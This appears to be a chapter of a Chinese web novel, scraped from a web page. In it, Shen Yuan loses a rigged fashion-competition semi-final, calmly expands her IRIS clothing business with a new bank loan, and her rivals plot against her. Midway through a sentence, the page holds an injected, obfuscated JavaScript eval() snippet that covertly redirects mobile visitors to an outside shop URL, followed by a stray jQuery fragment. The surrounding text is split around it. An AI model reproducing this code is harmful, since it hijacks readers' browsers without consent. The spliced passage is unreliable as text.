站在舞台上，就算头顶的设备嗡嗡作响，沈鸢也清晰地听到后台选手们的惊呼声。
记者对着台上一阵猛拍，其余两个评委见状只好绷住表情，都在脑子里飞快地算着分。
林晓娜，10、8、8，共计26分。
沈鸢，10、9、6，共计25分。
林晓娜以一分的差距在半决赛领先，不过由于在此之前的分数差距，两人现在的总分都是36分。
“怎么会这样！”系统在沈鸢脑子里气愤道，“去掉这个唐季宏给打的分，你有19分，她只有16分，你比她高足足3分！他们这是作弊！”
沈鸢笑了：“当然是作弊，不然许振华大费周章的干什么？他们前前后后砸了那么多钱出去，当然是要听到响声的。”
系统哇哇大叫：“可是这样下去她就要赢了！”
它虽然一直觉得参加这个比赛跟做任务没什么关系，但它是亲眼看着沈鸢在备赛期间下了多少功夫，付出了多少努力的，要让林晓娜这么个小偷拿到第一名，它第一个不同意！
可沈鸢仍旧是那副丝毫不着急的样子，笑容愈发真诚：“谢谢评委打分，我会继续努力的。”
唐季宏松了口气，严肃点头。
他也觉得很可惜，若不是昨天爱人千叮咛万嘱咐，让他一定要在比赛里多多照顾徒弟，还要替她“扫平障碍”，他也是愿意给沈鸢打个更高一些的分数的。
不过像沈鸢这样半点名气没有的新人，能一举在全国大赛拿到第二名，那也是多少人羡慕不来的，她应该不会有什么不满才对。
沈鸢一路出了赛场，其他选手都止不住地偷看她表情，似乎想看看她会不会懊恼、落泪，见她仍旧一脸淡定，又都凑在一起嘀嘀咕咕，聊了起来。
“宿主，接下来你打算怎么办，就让她靠关系在比赛里拿第一吗？”系统不甘心地问。
“如果我什么都不做，她当然会在总决赛获胜。”
沈鸢心情十分好地哼着歌，路过卤味店时还特地买了个大肘子，让店主剁块之后，犹豫片刻，又多点了好些东西。
大肘子上的油脂亮亮的，看起来十分诱人。
还有切片的卤牛肉、卤鸭肠、卤鸡心……
系统后知后觉地想起之前她使用的【以物易物】，可总觉得还是不放心，忍不住说：“如果林晓娜在比赛时拿出了那件作品，是有可能身败名裂，可是你怎么知道他们一定会用那副作品？林晓娜去过唐季宏家，她很有可能能认出那是唐季宏的作品……而且，就算她选中了，万一唐季宏为了徒弟的名誉选择隐瞒呢？”
在它看来，这计划成功率不到10%，这中间有哪怕一个环节出现疏漏，沈鸢的计划就会全部白费……
沈鸢说：“你放心吧，他们会用的。”
之后任凭系统再怎么询问，她也不多解释，只让系统安心等待。
回了住处，果然见到了好多天不见的林雪琦和周素怡。
沈鸢刚刚开口打了声招呼，林雪琦已经站起身：“沈姐，你别急，我已经跟我爸爸说了，他答应我一定好好查查，唐副会长这次的打分很不对劲，只要找到他们私下交易的证据，这次评分是可以直接作废的！”
沈鸢将买回来的一大兜子吃的摆在桌子上，让张巧莲去拿盘子。
周素怡幽幽道：“这儿最着急的就是你了，你看沈姐，她慌吗？”
林雪琦仔细一看，沈鸢脸上含笑，还有心情说：“我就猜到你们要来，特意多买了一些。别站着了，坐下一块儿吃吧。”
包装袋一打开，属于卤味的那股霸道香气立刻充斥了所有人的鼻腔，林雪琦忍不住“咕嘟”一声咽了咽口水，虽然还想说些什么，但目光总是忍不住瞟向桌子：“我……”
沈鸢塞给她一个烤得脆香的烧饼：“吃吧。”
……
直到从沈鸢的住处离开，林雪琦才反应过来：“啊，光顾着吃了，没说正事！”
周素怡直接拉住她：“你还不懂吗？沈姐那么有能力的人，她既然没找咱俩求助，就一定心里有数，你快别掺和了，别一个不小心破坏了沈姐的计划。”
林雪琦有点被说服了，但仍旧不太放心，想了想说：“那……那我跟我爸爸要两张票，到时候总决赛，咱俩也去现场看。要是那个林晓娜现场作弊，我立刻拍照举报她！”
次日，IRIS正常营业。
在比赛和相关报道的影响下，来IRIS挑选衣服的顾客越来越多，很多人冲着沈鸢“服装设计大赛黑马”的名气，都愿意来店里看看。
张巧莲实在忙不过来，也去人才市场招了几个临时工去店里帮忙。
而沈鸢，主动联系了几家报社，进行了私人采访后，又去了一趟银行。
之前的信贷员抬眼看到她时愣了一下：“沈老板，要来还贷吗？”
沈鸢摇摇头：“再借点。”
信贷员眨了眨眼：“……啥？”
他有点蒙：“我前两天又去看了一眼，你那店铺不是经营得挺好的吗？怎么又要贷款？”
沈鸢：“当时我的计划书你可是从头看到尾的，我要做服装品牌，开店只是第一步，接下来要开个公司，承接更多业务，再之后还要开连锁店……这些都得要钱啊。”
第一次借的那点钱怎么够？
现在热度正好，是扩张的大好机会，若是未来需要，还要进行一轮又一轮的融资……
信贷员回过神来：“我去喊我领导！”
他脚步匆匆离开柜台，一边跑一边咋舌。
原本以为沈鸢会和其他那些开店的小老板一样，首次贷款时有着要把自己的事业做大做强的野心，实际经营起来，就恨不得立刻把贷款全部还清，最后守着一家不温不火的小店过一辈子，还要时不时感慨自己没有那个发财的命。
这么想着，他还真觉得沈鸢有些不同凡响。
有能力开店，店铺生意火爆时还能有魄力增加筹码，继续上赌桌……
一个近乎荒谬的念头自心底升起：这位沈老板，不会真能做到那份计划书上面写的，做成全国、甚至世界最大服装品牌吧？
至少目前，IRIS的名字已经正式进入大部分海市市民的视线，吸引了无数注意。
他推开领导的办公室门，才简
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704670|208138||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
单一提，领导就如同早有准备一般，点头同意。
“之后沈鸢的贷款事项不用每次都先问过我，只要是在你职权额度内的，你都可以自己决定。最终签合同时找我签字就行。”
信贷员：“……”
他愣愣地点了点头，退出办公室，关好门。
下一秒“嘶——”了一声，拧着眉想：今天领导身上的衣服怎么这么眼熟？
他没有多想，跑回柜台跟沈鸢办理贷款业务，等合同签好，又一次回到办公室找领导签字时，他才忍不住问：“领导，你这身衣服挺好看啊，在哪儿买的啊？”
他领导签完字，轻轻笑了笑：“IRIS啊。现在那边的衣服很难抢，等沈老板的分店开起来，说不定会好一些，我很期待呢。”
信贷员：“…………”
*
自从半决赛结束，林晓娜和许振华每一天都能听到沈鸢的名字。
哪怕走在大街上，也总能看到有拿着不同报纸的人，在阅读和沈鸢相关的文章。
她的名气从赛场上逐渐扩散，变得更加响亮，就连拎着一兜子蔬菜的大妈，也会谈论着要不要去IRIS看看有没有合身的好看衣服。
林晓娜就算上个班，也能看到那些工人嘀嘀咕咕，谈论着她和沈鸢的分数差距。
那些人的眼神让她如芒在背。
“……”许振华将办公室的门关严上锁，阴沉着脸点了支烟，狠狠吸了一口，“今天厂长找我谈话。”
林晓娜心烦意乱，随口问：“说什么了？”
许振华说：“他说，如果服装厂的业绩继续下滑，就算有人保，我这暂代副厂长也不用当了。”
林晓娜闻言一怔：“什么意思？为什么？凭什么？当初不是都说好了吗？我马上就能拿服装大赛第一名了，等我拿了第一，你就能变成正式的副厂长，现在还没比赛，他凭什么出尔反尔？”
许振华三两口将烟吸完，把烟头按灭在烟灰缸里，碾了几下。
隔了好一会儿，说：“那些人以前怎么追捧你的，现在就在怎么追捧她。有她的店在，服装厂出售的衣服不再是大众的唯一选择……”
“现在厂子交给百货大楼的货物都卖不出去，那边的经理也跑过来找晦气，”他啐了一口，“那些衣服当初不是他自己拍着胸脯说能卖完的吗，现在又跑来说老有顾客要退货，他什么意思？！”
“那……”
“我跟厂长保证了。”
许振华觉得心中憋闷，于是又点燃一支烟，抽了一口，说：“我让他再给我一些时间，等到比赛之后，如果我没有办法提升厂子销量，这个暂代副厂长，我就不当了。”
这次明明自己分数更高，拿了26分，可不管是报纸上，还是大街上，明显众人更关注沈鸢的表现。
林晓娜心里有点没底，迟疑道：“那……要是我拿了第一，可顾客还是会选择去IRIS买衣服，怎么办？”
许振华吐出一口烟，烟雾缭绕，让林晓娜无法看清他的眼神：“没关系的。如果比赛结束，她的生意还是很好，她也得放弃开店，离开海市，不再来碍咱们的眼。”